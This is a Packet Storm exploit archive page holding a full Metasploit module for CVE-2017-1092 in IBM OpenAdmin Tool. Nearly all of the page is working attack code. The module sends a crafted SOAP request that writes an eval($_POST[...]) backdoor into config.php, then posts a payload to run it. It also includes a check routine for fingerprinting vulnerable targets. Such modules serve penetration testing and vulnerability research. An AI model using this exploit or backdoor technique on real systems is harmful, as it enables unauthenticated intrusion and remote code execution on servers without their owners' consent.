what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

IBM OpenAdmin Tool SOAP welcomeServer PHP Code Execution

IBM OpenAdmin Tool SOAP welcomeServer PHP Code Execution
Posted Aug 22, 2017
Authored by securiteam | Site metasploit.com

This Metasploit module exploits an unauthenticated remote PHP code execution vulnerability in IBM OpenAdmin Tool included with IBM Informix versions 11.5, 11.7, and 12.1. The 'welcomeServer' SOAP service does not properly validate user input in the 'new_home_page' parameter of the 'saveHomePage' method allowing arbitrary PHP code to be written to the config.php file. The config.php file is executed in most pages within the application, and accessible directly via the web root, resulting in code execution. This Metasploit module has been tested successfully on IBM OpenAdmin Tool 3.14 on Informix 12.10 Developer Edition (SUSE Linux 11) virtual appliance.

tags | exploit, remote, web, arbitrary, root, php, code execution
systems | linux, suse
advisories | CVE-2017-1092
SHA-256 | cb6e9a3b36f0f3954b25245916aa392a5a80294c27ec99178fffa5ccf236d183

IBM OpenAdmin Tool SOAP welcomeServer PHP Code Execution

Change Mirror Download
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include REXML

def initialize(info = {})
super(update_info(info,
'Name' => 'IBM OpenAdmin Tool SOAP welcomeServer PHP Code Execution',
'Description' => %q{
This module exploits an unauthenticated remote PHP code execution
vulnerability in IBM OpenAdmin Tool included with IBM Informix
versions 11.5, 11.7, and 12.1.

The 'welcomeServer' SOAP service does not properly validate user input
in the 'new_home_page' parameter of the 'saveHomePage' method allowing
arbitrary PHP code to be written to the config.php file. The config.php
file is executed in most pages within the application, and accessible
directly via the web root, resulting in code execution.

This module has been tested successfully on IBM OpenAdmin Tool 3.14
on Informix 12.10 Developer Edition (SUSE Linux 11) virtual appliance.
},
'License' => MSF_LICENSE,
'Author' =>
[
'SecuriTeam', # Discovery and exploit
'Brendan Coles <bcoles[at]gmail.com>', # Metasploit
],
'References' =>
[
['CVE', '2017-1092'],
['EDB', '42091'],
['URL', 'https://www-01.ibm.com/support/docview.wss?uid=swg22002897'],
['URL', 'https://blogs.securiteam.com/index.php/archives/3210'],
['URL', 'http://seclists.org/fulldisclosure/2017/May/105']
],
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Privileged' => false, # Privileged on Windows but not on *nix targets
'Targets' => [['Generic (PHP Payload)', {}]],
'DisclosureDate' => 'May 30 2017',
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [ true, 'The base path to IBM OpenAdmin Tool', '/openadmin' ])
]
)
end

def set_home_page(homepage)
xml = Document.new
xml.add_element 'soapenv:Envelope', 'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance',
'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema',
'xmlns:soapenv' => 'http://schemas.xmlsoap.org/soap/envelope/',
'xmlns:urn' => 'urn:Welcome'
xml.root.add_element 'soapenv:Header'
xml.root.add_element 'soapenv:Body'
body = xml.root.elements[2]
body.add_element 'urn:saveHomePage', 'soapenv:encodingStyle' => 'http://schemas.xmlsoap.org/soap/encoding/'
new_home_page = body.elements[1].add_element 'new_home_page', 'xsi:type' => 'xsd:string'
new_home_page.text = homepage

uri = normalize_uri target_uri.path, 'services', 'welcome', 'welcomeService.php'
send_request_cgi 'method' => 'POST',
'uri' => uri,
'ctype' => 'text/xml; charset=UTF-8',
'headers' => { 'SOAPAction' => 'urn:QBEAction' },
'data' => xml.to_s
end

def check
fingerprint = Rex::Text.rand_text_alpha(rand(10) + 6)
res = set_home_page "\";##{fingerprint}"

unless res
vprint_status "#{peer} Connection failed"
return CheckCode::Unknown
end

if res.code == 200 && res.body =~ %r{<ns1:saveHomePageResponse><return xsi:type="xsd:string">";##{fingerprint}</return>}
return CheckCode::Detected
end

Msf::Exploit::CheckCode::Safe
end

def exploit
cmd_param = Rex::Text.rand_text_alpha(rand(10) + 6)

res = set_home_page "\";eval($_POST['#{cmd_param}']); #"

unless res
vprint_status "#{peer} Connection failed"
return CheckCode::Unknown
end

if res.code == 200 && res.body =~ /<ns1:saveHomePageResponse><return xsi:type="xsd:string">";eval/
print_good "#{peer} Wrote backdoor to config.php file successfully"
else
fail_with Failure::UnexpectedReply, "#{peer} Failed to backdoor config.php"
end

vprint_status "#{peer} Executing payload..."
send_request_cgi({ 'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'conf', 'config.php'),
'vars_post' => { cmd_param => payload.encoded } }, 5)

print_warning "#{peer} Replace the 'config.php' file with 'BAKconfig.php' to remove the backdoor"
end
end
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close